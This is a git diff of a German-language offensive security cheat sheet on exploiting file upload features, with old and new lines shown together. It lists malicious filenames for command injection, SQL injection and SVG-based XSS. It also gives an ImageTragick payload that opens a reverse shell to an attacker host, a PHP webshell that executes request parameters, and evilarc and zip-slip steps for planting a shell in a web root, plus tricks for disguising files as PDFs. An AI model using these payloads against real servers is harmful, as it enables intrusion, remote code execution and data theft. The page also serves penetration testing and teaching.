- Setze **filename** auf `; sleep 10;` um einige command injection-Fälle zu testen (mehr [command injections tricks here](../command-injection.md))
|
||||
- Setze den **Dateiname** auf `../../../tmp/lol.png` und versuche eine **path traversal**
|
||||
- Setze den **Dateiname** auf `sleep(10)-- -.jpg` und du könntest eine **SQL injection** erreichen
|
||||
- Setze den **Dateiname** auf `<svg onload=alert(document.domain)>` um ein **XSS** zu erzielen
|
||||
- Setze den **Dateiname** auf `; sleep 10;` um einige command injection Tests durchzuführen (mehr [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Probiere **different svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Probiere **verschiedene svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Wenn du dem Webserver **anweisen** kannst, ein Bild von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einem **öffentlichen** Ort gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen jedes Besuchers stehlen**.
|
||||
- Wenn du den Webserver anweisen kannst, ein **image** von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einer **public** Stelle gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und Informationen jedes Besuchers **stehlen**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erreichen**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs hochladen kannst, könntest du ein PDF vorbereiten, das gemäß den angegebenen Hinweisen beliebiges JS ausführt.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content, um zu prüfen, ob der Server irgendeine **antivirus**-Lösung hat
|
||||
- Prüfe, ob es eine **Größenbegrenzung** beim Hochladen von Dateien gibt
|
||||
- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs hochladen kannst, könntest du ein PDF vorbereiten, das beliebiges JS gemäß den dortigen Anweisungen ausführt.
|
||||
- Lade den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu prüfen, ob der Server ein **antivirus** hat
|
||||
- Prüfe, ob es eine **size limit** beim Hochladen von Dateien gibt
|
||||
|
||||
Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -204,39 +234,39 @@ Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Magische Header-Bytes
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für weitere Dateitypen.
|
||||
Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen.
|
||||
|
||||
## Zip/Tar-Datei, die automatisch entpackt wird
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Wenn du eine ZIP hochladen kannst, die auf dem Server entpackt wird, kannst du zwei Dinge tun:
|
||||
|
||||
### Symlink
|
||||
|
||||
Lade einen Link hoch, der soft links zu anderen Dateien enthält; beim Zugriff auf die entpackten Dateien greifst du auf die verlinkten Dateien zu:
|
||||
Lade ein Archiv hoch, das symbolische Links (soft links) zu anderen Dateien enthält; beim Zugriff auf die entpackten Dateien greifst du dann auf die verlinkten Dateien zu:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### In verschiedene Ordner dekomprimieren
|
||||
### In verschiedene Ordner entpacken
|
||||
|
||||
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz der anfänglichen Annahme, dass diese Konfiguration OS-level command execution durch malicious file uploads verhindern könnte, lassen sich die hierarchische Komprimierungsunterstützung und die directory traversal-Fähigkeiten des ZIP archive format ausnutzen. Dadurch können Angreifer Einschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekomprimierungsfunktionalität der Zielanwendung manipulieren.
|
||||
Die unerwartete Erstellung von Dateien in Verzeichnissen während des Entpackens ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration vor OS-level command execution durch malicious file uploads schützen könnte, lassen sich die Unterstützung verschachtelter Komprimierung und die directory traversal-Fähigkeiten des ZIP archive format ausnutzen. Dadurch können Angreifer Beschränkungen umgehen und aus sicheren upload directories entkommen, indem sie die decompression functionality der Zielanwendung manipulieren.
|
||||
|
||||
Ein automatisierter Exploit zum Erstellen solcher Dateien ist unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) verfügbar. Das Tool kann wie folgt verwendet werden:
|
||||
Ein automatisierter exploit zum Erstellen solcher Dateien ist unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) verfügbar. Das utility kann wie folgt verwendet werden:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Zusätzlich ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzuvisieren, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Das stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt.
|
||||
Außerdem ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzugreifen, sollte ein Symlink zu dieser Datei auf Ihrem System erstellt werden. Dies stellt sicher, dass evilarc während seiner Ausführung nicht auf Fehler stößt.
|
||||
|
||||
Nachfolgend ein Beispiel für Python code, das verwendet wird, um eine malicious zip file zu erstellen:
|
||||
Unten folgt ein Beispiel für Python-Code, der verwendet wird, um eine bösartige zip-Datei zu erstellen:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -254,11 +284,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Komprimierung zum file spraying ausnutzen**
|
||||
**Ausnutzen von Kompression für file spraying**
|
||||
|
||||
Für weitere Details **siehe den Originalbeitrag**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Für weitere Details **siehe den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
|
||||
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle aus der Variable `$_REQUEST` auszuführen.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -268,14 +298,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: Mehrere Dateien werden erstellt und ein zip-Archiv mit diesen Dateien angelegt.
|
||||
2. **File Spraying und Erstellen einer komprimierten Datei**: Mehrere Dateien werden erstellt und ein zip-Archiv wird zusammengestellt, das diese Dateien enthält.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: Die Namen der Dateien im zip werden mit vi oder einem Hex-Editor verändert, indem "xxA" zu "../" geändert wird, um Verzeichnisse zu traversieren.
|
||||
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien innerhalb des zip werden mit vi oder einem Hex-Editor verändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -285,40 +315,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Lade diesen Inhalt mit einer Bild-Erweiterung hoch, um die Schwachstelle auszunutzen **(ImageMagick , 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Lade diesen Inhalt mit einer Bild-Dateierweiterung hoch, um die Schwachstelle auszunutzen **(ImageMagick , 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Einbetten einer PHP Shell in PNG
|
||||
## Einbetten einer PHP shell in PNG
|
||||
|
||||
Das Einbetten einer PHP Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie üblicherweise zum Skalieren bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP Shell von diesen Operationen unbeeinträchtigt bleibt, ist für bestimmte Anwendungsfälle ein deutlicher Vorteil.
|
||||
Das Einbetten einer PHP shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Zusammenhang besonders relevant, da sie üblicherweise zum Verkleinern bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP shell von diesen Operationen unberührt bleibt, ist für bestimmte Anwendungsfälle ein wesentlicher Vorteil.
|
||||
|
||||
Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungsfälle, findet sich in folgendem Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
|
||||
Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und möglicher Anwendungen, findet sich im folgenden Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Vorgehens und seiner Implikationen.
|
||||
|
||||
Mehr Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot-Dateien
|
||||
## Polyglot Files
|
||||
|
||||
Polyglot-Dateien sind ein einzigartiges Werkzeug in der Cybersicherheit und funktionieren wie Chamäleons, da sie gleichzeitig in mehreren Dateiformaten gültig sein können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), eine Hybriddatei, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien beschränken sich nicht auf dieses Paar; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
Polyglot files fungieren als einzigartiges Werkzeug in der Cybersecurity und verhalten sich wie Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf dieses Paar beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
|
||||
Der Kernnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand ihres Typs prüfen. In vielen Anwendungen werden nur bestimmte Dateitypen zum Upload erlaubt — z. B. JPEG, GIF oder DOC — um das Risiko potenziell gefährlicher Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot, der die strukturellen Kriterien mehrerer Dateitypen erfüllt, kann diese Beschränkungen unauffällig umgehen.
|
||||
Der Hauptnutzen von polyglot files liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand des Typs filtern. Üblich ist in vielen Anwendungen, nur bestimmte Dateitypen für Uploads zu erlauben — wie JPEG, GIF oder DOC — um das Risiko durch potenziell gefährliche Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot kann jedoch, indem es die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Beschränkungen heimlich umgehen.
|
||||
|
||||
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot zwar gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen, der Erfolg des Uploads hängt jedoch oft von den Richtlinien bzgl. Dateierweiterungen der Plattform ab. Ist das System streng bei erlaubten Extensions, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.
|
||||
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Grenzen. Zum Beispiel kann ein Polyglot gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen, doch der Erfolg des Uploads kann von den Richtlinien der Plattform bezüglich Dateiendungen abhängen. Wenn das System strikt bei erlaubten Extensions ist, reicht die bloße strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.
|
||||
|
||||
Mehr Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Gültige JSONs hochladen, als wären sie PDF
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, obwohl das nicht erlaubt ist, indem man sie als PDF vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, obwohl dies nicht erlaubt ist, indem man eine PDF-Datei vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Solange die `%PDF` Magic-Bytes in den ersten 1024 Bytes stehen, gilt die Datei als gültig (Beispiel im Artikel)
|
||||
- **`pdflib` library**: Füge ein gefälschtes PDF-Format in ein Feld des JSON ein, sodass die Library denkt, es sei ein PDF (Beispiel im Artikel)
|
||||
- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach ein JSON, das größer ist als das, so dass es den Inhalt nicht als JSON parsen kann, und füge dann innerhalb des JSON den Anfangsteil eines echten PDFs ein — es wird es als PDF erkennen
|
||||
- **`mmmagic` library**: Solange die `%PDF` magic bytes in den ersten 1024 Bytes sind, ist sie gültig (Beispiel im Beitrag)
|
||||
- **`pdflib` library**: Füge ein gefälschtes PDF-Format innerhalb eines Felds der JSON hinzu, sodass die Library denkt, es sei ein PDF (Beispiel im Beitrag)
|
||||
- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach eine JSON, die größer ist als das, sodass sie den Inhalt nicht als JSON parsen kann, und füge dann innerhalb der JSON den Anfangsteil einer echten PDF ein — dann wird sie denken, es sei ein PDF
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -328,5 +358,8 @@ Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochläd
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user